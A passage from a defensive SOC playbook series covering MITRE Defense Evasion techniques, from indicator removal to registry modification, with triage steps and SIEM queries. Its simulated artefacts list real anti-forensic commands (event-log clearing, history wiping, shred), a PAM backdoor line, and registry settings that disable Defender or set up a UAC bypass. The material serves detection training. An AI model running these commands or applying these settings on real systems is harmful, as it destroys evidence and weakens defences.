| where action="privilege_use"

| where authentication_event_missing=true

B) Service account interactive use

index=windows

| where account_type="service"

| where logon_type IN ("Interactive","RemoteInteractive")

C) Behavioural anomaly by trusted user

index=siem

| stats count by user, activity

| where activity_deviation > threshold

Analyst checklist

- Impersonation confirmed
- Affected identities identified
- Tokens and sessions revoked
- Follow-on activity assessed
- Incident severity updated

Post-incident improvements

- Treat identity context as a detection signal, not a trust anchor
- Monitor for actions without corresponding authentication
- Baseline normal behaviour for privileged and service accounts
- Correlate identity + behaviour + authentication context
- Educate SOC analysts to distrust “trusted user” assumptions

Playbook 103 (MITRE Defense Evasion): Indicator Removal

Technique: Indicator Removal

Sub-techniques covered:

- Clear Windows Event Logs
- Clear Linux or macOS System Logs
- Clear Command History
- File Deletion
- Network Share Connection Removal
- Timestomp
- Clear Network Connection History and Configurations
- Clear Mailbox Data
- Clear Persistence
- Relocate Malware

Purpose

Detect, investigate and respond to attacker attempts to erase, alter or move forensic artefacts, enabling attackers to:

- Obscure evidence of compromise
- Break incident timelines and attribution
- Evade post-compromise investigations
- Delay detection until impact occurs
- Reduce the effectiveness of IR and legal response

Indicator removal is anti-forensics in action the attacker's goal is to make the intrusion look like it never happened.

When to trigger this playbook

Trigger this playbook when indicators suggest deliberate evidence destruction or manipulation, including:

- Sudden gaps in logs around suspicious activity
- Command histories missing or truncated
- Files deleted shortly after execution
- Network shares disconnected post-access
- File timestamps inconsistent with system timelines
- Mailbox items disappearing without user action
- Persistence mechanisms removed after use
- Malware relocating between directories or hosts

Example use case scenario (end-to-end)

Context: SOC investigates a suspected breach after abnormal outbound traffic. EDR shows suspicious execution, but Windows Security logs are empty, PowerShell history is gone and the malware binary cannot be found. Further analysis reveals timestomping and malware relocation to a new path.

Attacker objective: Erase indicators to frustrate investigation and delay response.

Defender objective: Reconstruct activity, preserve remaining artefacts and stop further cleanup.

What it looks like (simulated SOC artefacts)

A) Clear Windows Event Logs

```
wevtutil cl Security  
wevtutil cl System
```

B) Clear Linux or macOS System Logs

```
> /var/log/auth.log  
log erase --all
```

C) Clear Command History

```
history -c  
rm ~/.bash_history  
Set-PSReadLineOption -HistorySaveStyle SaveNothing
```

D) File Deletion

```
del C:\ProgramData\payload.exe  
shred -u /tmp/implant
```

E) Network Share Connection Removal

```
net use * /delete /y  
umount /mnt/share
```

F) Timestomp

```
SetFileTime payload.exe to 2019-01-01
```

G) Clear Network Connection History and Configurations

```
netsh advfirewall reset  
rm ~/.ssh/known_hosts
```

H) Clear Mailbox Data

Delete message from Inbox and Recoverable Items
Rule: auto-delete security alerts

I) Clear Persistence

```
schtasks /delete /tn updater /f  
sc delete backdoorService
```

J) Relocate Malware

Move payload from C:\ProgramData\ to C:\Windows\Temp\

Severity decision (SOC)

Low

- Cleanup activity matches documented maintenance
- No malicious context

Medium

- Undocumented cleanup
- Limited scope or partial indicator loss

High / Critical

- Coordinated indicator removal after malicious activity
- Evidence destruction impacting investigation

Example severity: High

(Log clearing + timestomp + malware relocation)

Step-by-step SOC workflow

Step 1 Validate indicator removal activity

Confirm:

1. Which indicators were removed or altered?
2. When did removal occur relative to suspicious activity?
3. Who/what initiated the removal?
4. Is removal consistent with normal operations?

Decision point

- Legitimate cleanup → document and monitor
- Malicious indicator removal → continue investigation immediately

Step 2 Identify removal method and scope

Method	Evidence	Attacker value
Log clearing	Missing events	Timeline destruction
History wiping	Empty shell history	Analyst evasion
File deletion	Missing binaries	IOC removal
Timestomp	Anomalous timestamps	Misleading forensics
Mailbox purge	Missing emails	Hide phishing/BEC
Persistence cleanup	Artefacts removed	One-time stealth

Step 3 Map behaviour to attacker intent

3A) Anti-Forensics

Indicators

- Evidence disappears post-activity

Attacker intent

- Prevent accurate investigation

3B) Delayed Detection

Indicators

- SOC alerted after indicators removed

Attacker intent

- Buy time for impact

3C) Operational Security

Indicators

- Malware relocated or cleaned up

Attacker intent

- Reduce exposure and attribution

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Hidden or alternate mechanisms still present
2. Lateral Movement
 - Other hosts showing similar cleanup patterns
3. Impact
 - Ransomware, data exfiltration after cleanup
4. Defense Evasion
 - Additional log or artefact suppression

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected hosts
2. Stop cleanup processes/scripts
3. Preserve remaining logs, memory and disk

If abuse confirmed

1. Assume indicators were destroyed
2. Expand scope to neighbouring systems
3. Rotate credentials used during cleanup
4. Notify IR, legal and compliance teams

Eradication and recovery

- Rebuild hosts where evidence integrity is lost
- Restore logs and configurations from backups

- Reconstruct timelines using secondary telemetry (EDR, network, cloud)
- Remove relocated malware and verify persistence is gone
- Increase logging verbosity temporarily

Detection engineering (SIEM ideas)

A) Log clearing commands

```
index=windows
| where process IN ("wevtutil.exe","auditctl")
| where command_line LIKE "%cl%"
```

B) Command history tampering

```
index=edr
| where action IN ("DeleteFile","ModifyFile")
| where file_path LIKE "%bash_history%"
```

C) Timestamp detection

```
index=edr
| where file_time_anomaly=true
```

D) Persistence deletion shortly after creation

```
index=windows
| transaction host maxspan=30m
| where action="CreatePersistence"
| where later(action="DeletePersistence")
```

Analyst checklist

- Indicator removal confirmed
- Scope of evidence loss assessed
- Hosts isolated
- Timeline reconstructed from alternate sources
- Monitoring intensified

Post-incident improvements

- Treat indicator removal as Tier-0 anti-forensics
- Alert on log clearing and history manipulation
- Correlate creation–deletion patterns tightly
- Preserve off-host telemetry aggressively

- Include anti-forensics scenarios in SOC exercises

Playbook 104 (MITRE Defense Evasion): Indirect Command Execution

Technique: Indirect Command Execution

Purpose

Detect, investigate and respond to adversaries evading defenses by executing commands indirectly through trusted intermediaries, enabling attackers to:

- Execute malicious commands without spawning obvious shells
- Bypass command-line logging and process-based detections
- Abuse trusted binaries, APIs, scripts or services to run code
- Blend malicious execution into normal application behaviour
- Reduce forensic visibility and analyst confidence

Indirect Command Execution is defense evasion through indirection attackers don't run commands themselves they trick something trusted into running them.

When to trigger this playbook

Trigger this playbook when indicators suggest commands executed without clear parent shells or user interaction, including:

- Malicious actions with no visible cmd.exe, powershell.exe or shell parent
- Trusted applications executing unexpected system commands
- Script engines or APIs invoking OS actions silently
- Execution chains that skip common execution tools
- Security alerts with unclear execution origin

Example use case scenario (end-to-end)

Context: SOC observes registry modifications and outbound network connections. No PowerShell, CMD or bash process is recorded. Investigation reveals a trusted Office application invoking commands via COM objects, executing payloads indirectly.

Attacker objective: Evade command-line logging and shell-based detections.

Defender objective: Identify indirect execution paths and restore execution visibility.

What it looks like (simulated SOC artefacts)

A) No Direct Shell Execution

ObservedAction=Registry Modification

ParentProcess=winword.exe

ShellProcess=None

B) Trusted Binary as Intermediary

Process=mshta.exe

Invocation=Embedded Script

ExecutedCommand=Encoded Payload

C) API-Based Execution

Process=outlook.exe

API=ShellExecute

Target=powershell -enc <payload>

D) Script Engine Abuse

Engine=VBScript

Host=wscript.exe

Command=Hidden

E) Living-off-the-Land Execution

Binary=rundll32.exe

DLL=malicious.dll

Export=Execute

F) Evasion Outcome

DetectionConfidence=Low

Reason=No Direct Command Invocation

Severity decision (SOC)

Medium

- Indirect execution detected but blocked

High

- Indirect execution used to bypass logging or detection

Critical

- Indirect execution enables stealthy persistence, C2 or impact

Example severity: High

(Command execution hidden from standard telemetry)

Step-by-step SOC workflow

Step 1 Validate indirect execution

Confirm:

1. Did system actions occur without a visible shell?
2. Was a trusted process used as an execution proxy?
3. Are command parameters hidden, encoded or abstracted?
4. Is this behaviour inconsistent with normal application use?

Decision point

- Legitimate application automation → validate business logic
- Malicious indirection → escalate immediately

Step 2 Identify indirect execution method

Method	Indicator	Evasion value
API invocation	ShellExecute / CreateProcess	Bypass CLI logs
Script host abuse	wscript / cscript	Hidden execution
LOLBins	rundll32, mshta	Trusted binary abuse
App-driven execution	Office, browsers	User context camouflage
Service-based execution	Scheduled jobs	Low visibility

Step 3 Map behaviour to attacker intent

3A) Logging Evasion

Indicators

- Missing command-line telemetry

Attacker intent

- Avoid detection and auditing

3B) Trust Abuse

Indicators

- Execution via trusted applications

Attacker intent

- Lower alert severity

3C) Analyst Confusion

Indicators

- No clear execution source

Attacker intent

- Delay investigation and response

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Indirectly launched beacons
2. Persistence
 - Autoruns created via proxy execution
3. Credential Access
 - Token or memory access under trusted context

4. Defense Evasion
 - Additional stealth execution layers

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Isolate affected hosts
2. Suspend abused intermediary applications or services
3. Block abused binaries or execution paths

If indirect execution confirmed

1. Preserve parent process memory and execution artefacts
2. Identify execution chain and intermediary components
3. Notify SOC leadership and application owners
4. Assume advanced execution evasion

Eradication and recovery

- Remove malicious scripts, DLLs or payloads
- Restore legitimate application configurations
- Harden LOLBin usage via application control
- Enable enhanced process-to-process telemetry
- Reimage systems if execution chain integrity is compromised

Detection engineering (SIEM ideas)

A) Actions without shell parents

index=edr

| where action IN ("registry_modify","network_connect")

| where parent_process NOT IN ("cmd.exe","powershell.exe","bash")

B) LOLBin execution monitoring

index=windows

| where process_name IN ("rundll32.exe","mshta.exe","wscript.exe")

C) Office-driven system actions

index=edr

| where parent_process IN ("winword.exe","excel.exe","outlook.exe")

| where action="process_create"

Analyst checklist

- Indirect execution confirmed
- Intermediary process identified
- Execution chain reconstructed
- Malicious payloads removed
- Incident severity updated

Post-incident improvements

- Treat missing shells as a red flag, not a clean bill of health
- Expand detection beyond command-line telemetry
- Monitor trusted binaries acting outside normal roles
- Correlate application behaviour → system changes → execution outcome
- Educate analysts on indirect execution patterns

Playbook 105 (MITRE Defense Evasion): Masquerading

Technique: Masquerading

Sub-techniques:

- Invalid Code Signature
- Right-to-Left Override
- Rename Legitimate Utilities
- Masquerade Task or Service
- Match Legitimate Resource Name or Location
- Space after Filename
- Double File Extension
- Masquerade File Type
- Break Process Trees
- Masquerade Account Name
- Overwrite Process Arguments
- Browser Fingerprint

Purpose

Detect, investigate and respond to adversaries disguising malicious artefacts, processes, services, accounts or identities as legitimate, enabling attackers to:

- Blend malicious activity into normal system operations
- Evade analyst suspicion and alert triage
- Bypass allow-listing and heuristic detections
- Mislead defenders during investigations
- Extend dwell time by appearing benign

Masquerading is defense evasion through deception attackers don't hide activity they make it look normal.

When to trigger this playbook

Trigger this playbook when indicators suggest objects or behaviour deliberately crafted to look legitimate, including:

- Executables with misleading names, paths or icons
- System services or scheduled tasks mimicking legitimate ones
- Files with deceptive extensions or Unicode tricks
- Processes with altered parentage or arguments
- Browser or user identities crafted to match expected profiles

Example use case scenario (end-to-end)

Context: SOC investigates outbound C2 traffic originating from svchost.exe. Hash analysis shows it is not a Microsoft-signed binary. File path closely matches a legitimate Windows directory.

Attacker objective: Evade detection by masquerading malware as trusted system components.

Defender objective: See past appearances and identify malicious impostors.

What it looks like (simulated SOC artefacts)

A) Invalid Code Signature

File=svchost.exe
Signature=Invalid
Expected=Microsoft

B) Right-to-Left Override

Filename=invoice[U+202E]fdp.exe
Displayed=invoiceexe.pdf

C) Renamed Legitimate Utility

Binary=notepad.exe
ActualFunction=C2 Loader

D) Masquerade Task or Service

ServiceName=Windows Update Helper
Binary=C:\Temp\wuhelper.exe

E) Match Legitimate Name/Location

Path=C:\Windows\System32\svchost.exe
Difference=Single character

F) Space after Filename

Filename=report.pdf[^].exe

G) Double File Extension

Filename=contract.pdf.exe

H) Masquerade File Type

Icon=PDF

Type=Executable

I) Break Process Trees

Parent=explorer.exe

Expected=cmd.exe

J) Masquerade Account Name

User=adm1n

LooksLike=admin

K) Overwrite Process Arguments

Process=powershell.exe

Args=-ExecutionPolicy Bypass

Overwritten=NormalParams

L) Browser Fingerprint

UserAgent=CorporateBrowser_v104

Actual=AutomatedTool

Severity decision (SOC)

Medium

- Suspicious naming or cosmetic deception

High

- Masquerading used to bypass detection

Critical

- Masquerading actively concealing malware or C2

Example severity: High / Critical

(Trust exploited through deception)

Step-by-step SOC workflow

Step 1 Validate masquerading behaviour

Confirm:

1. Does the artefact look legitimate but fail validation?
2. Are names, paths or metadata slightly altered?
3. Is behaviour inconsistent with the claimed identity?
4. Are multiple deception techniques used together?

Decision point

- Cosmetic anomaly → monitor
- Intentional deception → escalate immediately

Step 2 Identify masquerading sub-technique

Sub-technique	Deception Used	Risk
Invalid signature	Trust spoofing	High
RLO / extensions	User deception	High
Name/path mimicry	Analyst deception	High
Process/arg spoofing	Telemetry deception	Critical
Browser fingerprint	Identity deception	Critical

Step 3 Map behaviour to attacker intent

3A) Analyst Evasion

Indicators

- Familiar names and paths

Attacker intent

- Avoid investigation

3B) Control Bypass

Indicators

- Allow-listed names abused

Attacker intent

- Bypass security controls

3C) Long-Term Stealth

Indicators

- Persistent masqueraded services/accounts

Attacker intent

- Maintain access undetected

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Proxy execution or LOLBins
2. Command and Control
 - Hidden outbound traffic
3. Persistence
 - Masqueraded services/tasks
4. Credential Access
 - Look-alike accounts

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected systems
2. Kill masqueraded processes
3. Quarantine deceptive files

If masquerading confirmed

1. Notify SOC leadership
2. Assume intentional evasion
3. Expand hunt for similar naming patterns

Eradication and recovery

- Remove masqueraded binaries, services, tasks and accounts
- Restore legitimate files from trusted sources
- Validate code signatures across critical paths
- Reset credentials for masqueraded accounts
- Rebuild affected systems if trust is broken

Detection engineering (SIEM / EDR ideas)

A) Name vs signature mismatch

```
index=process
| where process_name IN expected_system_binaries
| where signature!="Trusted"
```

B) Unicode / extension deception

```
index=file
| where filename LIKE "%exe%" AND display_name NOT LIKE "%.exe"
```

C) Look-alike account detection

```
index=auth
| where user SIMILAR TO "admin"
```

Analyst checklist

- Masquerading technique identified
- Behaviour validated against identity
- Artefacts removed
- Scope expanded
- Incident severity updated

Post-incident improvements

- Enforce signature validation over name trust
- Alert on look-alike names and paths
- Treat cosmetic legitimacy as suspicious
- Improve analyst training on deception techniques
- Correlate appearance vs behaviour vs trust

Playbook 106 (MITRE Defense Evasion): Modify Authentication Process

Technique: Modify Authentication Process

Sub-techniques:

- Domain Controller Authentication
- Password Filter DLL
- Pluggable Authentication Modules (PAM)
- Network Device Authentication
- Reversible Encryption
- Multi-Factor Authentication
- Hybrid Identity
- Network Provider DLL
- Conditional Access Policies

Purpose

Detect, investigate and respond to adversaries evading defenses by altering how authentication is performed, validated or enforced, enabling attackers to:

- Bypass or weaken authentication controls
- Insert malicious logic into authentication workflows
- Capture credentials during legitimate login attempts
- Disable or selectively bypass MFA and access restrictions
- Maintain long-term stealthy access without triggering alerts

Modifying the authentication process is defense evasion at the trust boundary attackers don't steal credentials only they change the rules that decide what "authenticated" means.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised changes to authentication mechanisms, including:

- Authentication succeeding under unexpected conditions
- MFA suddenly disabled or inconsistently enforced
- Passwords stored or transmitted in reversible form
- Login behaviour changing without policy updates
- Authentication modules, DLLs or PAMs modified or replaced
- Identity provider or hybrid sync anomalies

Example use case scenario (end-to-end)

Context: SOC notices successful VPN logins without MFA for several accounts. IAM team confirms MFA policies were not officially changed. Further investigation reveals conditional access rules were silently modified via a compromised admin account.

Attacker objective: Evade detection and maintain access by weakening authentication enforcement.

Defender objective: Restore authentication integrity and revoke attacker control.

What it looks like (simulated SOC artefacts)

A) Domain Controller Authentication Tampering

DC=DC01

AuthModule=Modified

Result=Accept Invalid Credentials

B) Password Filter DLL Injection

Registry=HKLM\SYSTEM\CurrentControlSet\Control\Lsa

NotificationPackages=PwdFilter.dll

C) PAM Modification (Linux)

/etc/pam.d/sshd

auth sufficient pam_backdoor.so

D) Network Device Authentication Bypass

Device=Firewall01

AuthMethod=Local

AAA=Disabled

E) Reversible Encryption Enabled

Policy=Store passwords using reversible encryption

State=Enabled

F) MFA Bypass

User=admin@corp

MFA=Skipped

Condition=Trusted Location

G) Hybrid Identity Abuse

AADConnect=Compromised

OnPremChange=Cloud Sync Accepted

H) Network Provider DLL Hijack

HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order

ProviderOrder=MaliciousProvider,Microsoft

I) Conditional Access Policy Modification

Policy=Require MFA

Change=Excluded Admin Roles

Severity decision (SOC)

High

- Authentication mechanisms modified but no confirmed abuse

Critical

- Authentication changes enabling stealth access or MFA bypass

Example severity: Critical

(Core trust boundary compromised)

Step-by-step SOC workflow

Step 1 Validate authentication process modification

Confirm:

1. Were authentication components or policies changed?
2. Is the change unauthorised or unexplained?
3. Does it weaken, bypass or alter authentication outcomes?
4. Does it enable persistent or stealthy access?

Decision point

- Legitimate IAM change → validate approvals and scope
- Malicious modification → escalate immediately

Step 2 Identify affected authentication layer

Layer	Indicator	Attacker value
OS authentication	PAM / DLL changes	Credential capture
Directory services	DC auth logic	Enterprise access
MFA	Skipped or disabled	Control bypass
Network auth	AAA changes	Device compromise
Cloud IAM	Conditional access abuse	Silent persistence

Step 3 Map behaviour to attacker intent

3A) Authentication Bypass

Indicators

- Logins succeed without required controls

Attacker intent

- Maintain access without credentials theft

3B) Credential Harvesting

Indicators

- Filters or modules intercept passwords

Attacker intent

- Long-term credential collection

3C) Stealth Persistence

Indicators

- Selective policy exemptions

Attacker intent

- Avoid detection and lockout

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Password dumping, token theft
2. Lateral Movement
 - Auth-based access expansion
3. Persistence
 - Additional identity abuse
4. Impact
 - Data access or sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Disable affected accounts and authentication paths
2. Revert authentication modules and policies to known-good state
3. Enforce MFA globally where possible

If authentication tampering confirmed

1. Preserve authentication configs, registry keys and policy logs
2. Identify initial access used to perform modifications
3. Notify SOC leadership, IAM and IT leadership
4. Assume identity system compromise

Eradication and recovery

- Remove malicious DLLs, PAM modules or providers
- Reset passwords and rotate secrets enterprise-wide if needed
- Rebuild or validate domain controllers and identity servers
- Revalidate all conditional access and MFA policies
- Reimage systems where authentication integrity is uncertain

Detection engineering (SIEM ideas)

A) Authentication module changes

index=windows

| where registry_path LIKE "%\\Lsa%"

B) MFA bypass detection

index=iam

| where mfa_required=true AND mfa_result="skipped"

C) Conditional access policy changes

index=cloud

| where action="policy_modified"

Analyst checklist

- Authentication modification confirmed
- Affected layers identified
- Policies and modules restored
- Credentials rotated
- Incident severity updated

Post-incident improvements

- Treat authentication configuration as critical security code
- Monitor authentication modules and policy changes continuously
- Require multi-party approval for auth policy changes
- Baseline normal authentication behaviour and enforcement
- Correlate policy change → login anomaly → attacker activity

Playbook 107 (MITRE Defense Evasion): Modify Cloud Compute Infrastructure

Technique: Modify Cloud Compute Infrastructure

Sub-techniques:

- Create Snapshot
- Create Cloud Instance
- Delete Cloud Instance
- Revert Cloud Instance
- Modify Cloud Compute Configurations

Purpose

Detect, investigate and respond to adversaries evading defenses by manipulating cloud compute resources, enabling attackers to:

- Bypass host-based security controls
- Remove forensic evidence by reverting or deleting instances
- Clone compromised systems via snapshots
- Deploy clean or attacker-controlled instances
- Modify security, logging or monitoring configurations at the infrastructure layer

This technique is defense evasion through infrastructure control instead of hiding on the host, attackers change or replace the host itself.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or unauthorised cloud compute actions, including:

- Snapshots created without change approval
- New compute instances appearing outside deployment pipelines
- Instances reverted to older states unexpectedly
- Sudden loss of logs or telemetry from cloud VMs
- Changes to compute configuration affecting security agents, logging or networking

Example use case scenario (end-to-end)

Context: SOC detects suspicious activity on a cloud VM. Minutes later, the VM is reverted to a snapshot taken two weeks earlier. Security logs disappear and EDR telemetry resets. Cloud audit logs show the revert was performed using valid admin credentials.

Attacker objective: Evade investigation by rolling back the compromised system to erase evidence.

Defender objective: Preserve forensic data and restore infrastructure integrity.

What it looks like (simulated SOC artefacts)

A) Snapshot Creation

Action=CreateSnapshot

InstanceID=i-0a12bc34

InitiatedBy=cloud-admin

Time=02:14 UTC

B) Rogue Instance Creation

Action=CreateInstance

AMI=CustomImage-Unknown

Network=PublicSubnet

SecurityAgent=NotInstalled

C) Instance Deletion

Action=TerminateInstance

InstanceID=i-0f98de21

Reason=None

D) Instance Revert

Action=RevertInstance

SnapshotID=snap-7ab91

Result=Success

E) Compute Configuration Change

Action=ModifyInstance

Change=DisableMonitoring

Change=DetachIAMRole

F) Evasion Outcome

HostTelemetry=Reset

SecurityVisibility=Lost

Severity decision (SOC)

High

- Cloud compute changes detected without clear malicious impact

Critical

- Compute modifications used to erase evidence, bypass controls or maintain stealth

Example severity: Critical

(Infrastructure-level defense evasion)

Step-by-step SOC workflow

Step 1 Validate cloud compute modification

Confirm:

1. Was a compute resource modified, created, deleted or reverted?
2. Was the action authorised, approved and expected?
3. Did the change reduce security visibility or control?
4. Is the timing correlated with suspicious activity?

Decision point

- Legitimate cloud ops → validate change management
- Malicious infrastructure manipulation → escalate immediately

Step 2 Identify modification type

Sub-technique	Indicator	Evasion value
Snapshot creation	Cloned compromised state	Persistence
Instance creation	Clean attacker host	Control
Instance deletion	Evidence removal	Forensic evasion
Instance revert	Timeline reset	Alert erasure
Config modification	Disable monitoring	Blind defenders

Step 3 Map behaviour to attacker intent

3A) Evidence Destruction

Indicators

- Revert or delete shortly after detection

Attacker intent

Eliminate forensic artefacts

3B) Stealth Infrastructure Control

Indicators

- New instances without security tooling

Attacker intent

- Operate outside monitored scope

3C) Persistence at Infrastructure Layer

Indicators

- Snapshots retained, reused later

Attacker intent

- Re-establish access on demand

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Cloud IAM key abuse
2. Persistence
 - New IAM roles, access keys
3. Command and Control
 - New compute instances beaconing
4. Impact
 - Data access or service disruption

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Freeze affected cloud accounts and credentials
2. Preserve audit logs and snapshots (do **not** delete)
3. Isolate suspicious instances and networks

If malicious modification confirmed

1. Revoke attacker access (keys, roles, sessions)
2. Lock down snapshot and instance permissions
3. Notify SOC leadership, Cloud Ops and Management
4. Assume cloud control plane compromise

Eradication and recovery

- Rebuild affected instances from trusted images
- Restore security agents and monitoring
- Enforce least-privilege IAM policies
- Enable immutable logging and snapshot protections
- Rotate all cloud credentials involved

Detection engineering (SIEM ideas)

A) Snapshot and revert monitoring

index=cloud

| where action IN ("CreateSnapshot","RevertInstance")

B) Instance lifecycle anomalies

index=cloud

| where action IN ("CreateInstance","TerminateInstance")

| where initiated_by NOT IN ("ci-cd","approved-admins")

C) Security config changes

index=cloud

| where action="ModifyInstance"

| where change IN ("DisableMonitoring","DetachIAMRole")

Analyst checklist

- Cloud compute modification confirmed
- Action source and credentials identified
- Evidence preserved
- Access revoked and configs restored
- Incident severity updated

Post-incident improvements

- Treat cloud infrastructure actions as security-critical events
- Enforce MFA and just-in-time access for cloud admins
- Protect snapshots with immutability and approvals
- Continuously monitor compute lifecycle events
- Correlate alert → cloud action → loss of visibility

Playbook 108 (MITRE Defense Evasion): Modify Cloud Resource Hierarchy

Technique: Modify Cloud Resource Hierarchy

Purpose

Detect, investigate and respond to adversaries evading defenses by altering cloud resource hierarchy structures, enabling attackers to:

- Move resources into less monitored or permissive scopes
- Inherit weaker security, logging or policy controls
- Bypass guardrails enforced at higher organisational levels
- Obscure ownership, accountability and audit trails
- Maintain stealthy persistence within the cloud control plane

Modify Cloud Resource Hierarchy is defense evasion through governance abuse attackers don't disable security tools directly they relocate resources to places where security is weaker or absent.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or unauthorised changes to cloud organisational structure, including:

- Projects/accounts/subscriptions moved between folders or org units
- New management groups, folders or org units created without approval
- Resources reassigned to different parents unexpectedly
- Policy inheritance suddenly changing for existing resources
- Logging, billing or security posture changing without configuration edits

Example use case scenario (end-to-end)

Context: SOC detects suspicious API activity from a cloud project. Shortly after, the project is moved from a production folder with strict policies into a newly created folder with minimal controls. Security alerts drop significantly.

Cloud audit logs show the move was performed using valid org-level credentials.

Attacker objective: Evade detection by relocating compromised resources into a weaker governance boundary.

Defender objective: Restore hierarchy integrity and reapply security controls.

What it looks like (simulated SOC artefacts)

A) Project / Subscription Move

Action=MoveProject

ProjectID=prod-payments

OldParent=Prod-Folder

NewParent=Temp-Projects

B) Folder Creation

Action=CreateFolder

FolderName=Legacy-Services

Parent=Root

C) Policy Inheritance Change

Policy=RequireLogging

Status=Inherited

OldParent=Enabled

NewParent=Disabled

D) Security Visibility Loss

Logging=Partial

SecurityCenter=Disabled

E) Governance Bypass

BillingOwner=Unknown

IAMAdmins=Expanded

F) Evasion Outcome

AlertVolume=Reduced

DetectionConfidence=Low

Severity decision (SOC)

High

- Hierarchy changes detected without immediate malicious activity

Critical

- Hierarchy modification used to bypass security, logging or governance

Example severity: Critical

(Control-plane defense evasion)

Step-by-step SOC workflow

Step 1 Validate hierarchy modification

Confirm:

1. Was a resource moved, re-parented or reorganised?
2. Was the change authorised and approved?
3. Did the change alter inherited policies or controls?
4. Is the timing correlated with suspicious activity?

Decision point

- Legitimate org restructure → validate approvals and scope
- Malicious governance abuse → escalate immediately

Step 2 Identify hierarchy impact

Hierarchy Change	Indicator	Evasion value
Project/account move	New parent scope	Policy bypass
Folder/org creation	Weaker defaults	Stealth
Policy inheritance	Logging disabled	Blind SOC
Ownership changes	Accountability loss	Persistence

Step 3 Map behaviour to attacker intent

3A) Governance Bypass

Indicators

- Resources moved into permissive scopes

Attacker intent

- Evade guardrails and detection

3B) Visibility Reduction

Indicators

- Logging or security tools disabled via inheritance

Attacker intent

- Operate unnoticed

3C) Long-Term Control

Indicators

- New org units with attacker-controlled admins

Attacker intent

- Persistent cloud foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Modify Cloud Compute Infrastructure
 - Revert, snapshot or rebuild instances
2. Credential Access
 - IAM abuse at new hierarchy level
3. Persistence

- Additional policy or role changes

4. Impact

- Data access, exfiltration or disruption

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Freeze org-level and folder-level permissions
2. Prevent further resource moves
3. Preserve audit logs and hierarchy state

If hierarchy abuse confirmed

1. Revert resources to approved parents
2. Reapply baseline security and logging policies
3. Revoke org-level credentials used
4. Notify SOC leadership, Cloud Governance and Management
5. Assume cloud control-plane compromise

Eradication and recovery

- Restore approved org/folder/project structure
- Enforce mandatory logging and security policies at root
- Apply deny rules for unauthorised moves
- Rotate all affected IAM credentials
- Rebuild resources where integrity is uncertain

Detection engineering (SIEM ideas)

A) Resource move detection

index=cloud

| where action IN ("MoveProject","MoveSubscription","MoveAccount")

B) Folder/org creation monitoring

index=cloud

| where action IN ("CreateFolder","CreateOrgUnit","CreateManagementGroup")

C) Policy inheritance changes

index=cloud

| where action="SetPolicy"

| where inheritance_changed=true

Analyst checklist

- Hierarchy modification confirmed
- Authorisation validated or disproved
- Policy inheritance reviewed
- Resources restored to secure scope
- Incident severity updated

Post-incident improvements

- Treat resource hierarchy as a security boundary
- Enforce immutability or approvals for hierarchy changes
- Monitor policy inheritance continuously
- Centralise logging at the highest possible scope
- Correlate resource move → policy change → alert drop

Playbook 109 (MITRE Defense Evasion): Modify Registry

Technique: Modify Registry

Purpose

Detect, investigate and respond to adversaries evading defenses by modifying Windows Registry keys and values, enabling attackers to:

- Disable or weaken security controls
- Establish stealthy persistence without new binaries
- Hijack execution flow of trusted processes
- Bypass logging, monitoring or security enforcement
- Store malicious configuration or payload references covertly

Registry modification is defense evasion through configuration abuse attackers don't need malware running constantly they change how Windows behaves so malware runs naturally.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious registry changes, including:

- Autorun keys modified without approved software installs
- Security or logging registry keys altered
- Registry writes by non-admin or unexpected processes
- Registry-only persistence without new binaries
- Registry changes immediately preceding execution, persistence or lateral movement

Example use case scenario (end-to-end)

Context: EDR detects PowerShell execution at every user logon. No scheduled tasks or startup files exist. Registry analysis reveals a hidden autorun key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Attacker objective: Maintain stealthy persistence and evade file-based detection.

Defender objective: Identify malicious registry logic and restore baseline behaviour.

What it looks like (simulated SOC artefacts)

A) Autorun Persistence

Key=HKCU\Software\Microsoft\Windows\CurrentVersion\Run

ValueName=Updater

ValueData=powershell.exe -enc <payload>

B) Security Control Disablement

Key=HKLM\SOFTWARE\Policies\Microsoft\Windows Defender

Value=DisableAntiSpyware

Data=1

C) Logging Suppression

Key=HKLM\SYSTEM\CurrentControlSet\Services\EventLog

Action=Modified

Result=Reduced Logging

D) Execution Hijack

Key=HKLM\Software\Classes\.exe\shell\open\command

ValueData="malicious.exe" "%1"

E) UAC Bypass Setup

Key=HKCU\Software\Classes\ms-settings\Shell\Open\command

DelegateExecute=""

F) Evasion Outcome

MalwarePersistence=RegistryOnly

FileArtifacts=None

Severity decision (SOC)

Medium

- Registry changes detected without clear malicious follow-on

High

- Registry used for persistence or security weakening

Critical

- Registry modifications enable execution hijacking, UAC bypass or long-term stealth

Example severity: High

Step-by-step SOC workflow

Step 1 Validate registry modification

Confirm:

1. Was a registry key or value modified?
2. Is the key security-sensitive or execution-related?
3. Was the change authorised and documented?
4. Does it enable evasion, persistence or execution control?

Decision point

- Legitimate software change → validate installer and signature
- Malicious modification → escalate immediately

Step 2 Identify registry modification category

Category	Indicator	Attacker value
Autoruns	Run / RunOnce keys	Persistence
Security settings	Defender, logging keys	Defense evasion
Execution flow	Shell open, IFEO	Silent execution
UAC / policy	DelegateExecute abuse	Privilege bypass
Storage	Encoded payloads	Fileless malware

Step 3 Map behaviour to attacker intent

3A) Stealthy Persistence

Indicators

- Registry autoruns without files

Attacker intent

- Survive reboots quietly

3B) Security Suppression

